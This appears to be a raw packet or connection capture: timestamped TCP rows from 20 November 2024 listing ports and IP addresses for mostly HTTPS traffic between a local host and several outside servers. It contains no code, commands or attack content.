Nov 20, 2024 06:40:32.801171064 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.801291943 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.802906990 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.802923918 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.802987099 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.802999020 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.803062916 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.881014109 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.881247044 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.881304026 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.882317066 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.882388115 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.883472919 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:32.883546114 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:32.887890100 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.887947083 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.887974977 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.887988091 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:32.888014078 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.888040066 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.888426065 CET	49815	443	192.168.2.5	13.107.246.60
Nov 20, 2024 06:40:32.888454914 CET	443	49815	13.107.246.60	192.168.2.5
Nov 20, 2024 06:40:33.076544046 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:33.076586962 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:33.225265980 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.225353003 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.238322020 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.238364935 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.239264011 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.278800011 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:33.329338074 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.342251062 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.358966112 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.376292944 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.389260054 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.413552999 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.443372965 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.443449974 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.452323914 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.470705032 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.470742941 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.493930101 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.614979982 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.615005970 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.615417957 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.615422964 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.615677118 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.615693092 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.616233110 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.616236925 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.616729975 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.616740942 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.617367983 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.617372036 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.620255947 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.620273113 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.620748043 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.620753050 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.621495008 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.621565104 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.621774912 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.621788979 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.712565899 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.712580919 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.712635994 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.712663889 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.712848902 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.712899923 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.716602087 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.716761112 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.717030048 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.718261003 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.718503952 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.718556881 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.723509073 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.723531008 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.723606110 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.723620892 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.723763943 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.724452019 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.727746010 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.727772951 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.727874041 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.727885962 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.727961063 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.728054047 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.756505966 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.756505966 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.756561995 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.756591082 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.758168936 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.758168936 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.758213997 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.758239985 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.759821892 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.759839058 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.759850979 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.759855986 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.760867119 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.760884047 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.760929108 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.760942936 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.761003971 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.761003971 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.761032104 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.761065960 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.767338991 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.774888039 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.774991989 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.775063992 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.775202036 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.775233030 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.775317907 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.775930882 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.775940895 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.776001930 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.777861118 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.777900934 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.778121948 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.778512955 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.778527021 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.778944016 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.778965950 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.779115915 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.779129028 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.779680014 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.779694080 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.785105944 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.785172939 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.785268068 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.788029909 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:33.788064957 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:33.936163902 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.936325073 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.936424971 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.936501026 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.936501026 CET	49822	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.936556101 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.936579943 CET	443	49822	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.975121975 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.975169897 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:33.975265980 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.976205111 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:33.976219893 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:34.416666985 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.417511940 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.417537928 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.418009043 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.418014050 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.418657064 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.419786930 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.419882059 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.420463085 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.420478106 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.431190968 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.431827068 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.431857109 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.432356119 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.432362080 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.434406996 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.435358047 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.435399055 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.436064959 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.436077118 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.454695940 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.455147028 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.455185890 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.455955029 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.455962896 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.516649008 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.517141104 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.517363071 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.520775080 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.520797014 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.520807981 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.520813942 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.524414062 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.524475098 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.524575949 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.524772882 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.524792910 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.525057077 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.525644064 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.525738001 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.525799990 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.525821924 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.525871038 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.525878906 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.528083086 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.528121948 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.528213024 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.528589964 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.528619051 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.532800913 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.533046007 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.533163071 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.533205032 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.533227921 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.533241034 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.533248901 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.534408092 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.534709930 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.534765959 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.534930944 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.534951925 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.534976959 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.534986019 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.535813093 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.535826921 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.536096096 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.536191940 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.536217928 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.536928892 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.536945105 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.537009001 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.537163973 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.537173986 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.553292990 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.553530931 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.553585052 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.553677082 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.553690910 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.556490898 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.556526899 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.556679964 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.556978941 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:34.556993008 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:34.675304890 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:34.675375938 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:34.677138090 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:34.677151918 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:34.677517891 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:34.691925049 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:34.714235067 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:34.739332914 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:35.012947083 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:35.013102055 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:35.013180971 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:35.014669895 CET	49840	443	192.168.2.5	184.28.90.27
Nov 20, 2024 06:40:35.014683962 CET	443	49840	184.28.90.27	192.168.2.5
Nov 20, 2024 06:40:35.158008099 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.158477068 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.158545017 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.158999920 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.159013987 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.161200047 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.161547899 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.161570072 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.162559986 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.162565947 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.168380976 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.169059038 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.169090033 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.169495106 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.169504881 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.204072952 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.204442978 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.204468012 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.205132008 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.205137014 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.211803913 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.212223053 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.212239981 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.212538958 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.212544918 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.257229090 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.257508993 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.257571936 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.257622004 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.257622004 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.257648945 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.257669926 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260276079 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260307074 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260310888 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260416031 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260549068 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260562897 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260695934 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260761023 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260801077 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260801077 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.260817051 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.260824919 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.263200045 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.263232946 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.263400078 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.263544083 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.263559103 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.267916918 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.268115044 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.268181086 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.268241882 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.268241882 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.268258095 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.268276930 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.270288944 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.270299911 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.270385027 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.270531893 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.270545006 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306221008 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306243896 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306309938 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.306332111 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306385994 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306456089 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.306577921 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.306579113 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.306590080 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.306602001 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.308629036 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.308648109 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.308933020 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.309094906 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.309107065 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.311382055 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.311685085 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.311744928 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.311763048 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.311772108 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.311801910 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.311806917 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.313699007 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.313777924 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.313851118 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.313951015 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.313972950 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.909892082 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.911879063 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.918714046 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.957505941 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:35.957855940 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:35.983360052 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:36.029575109 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.070544958 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.070559025 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.070559025 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.178483009 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:36.178520918 CET	443	49861	13.107.246.45	192.168.2.5
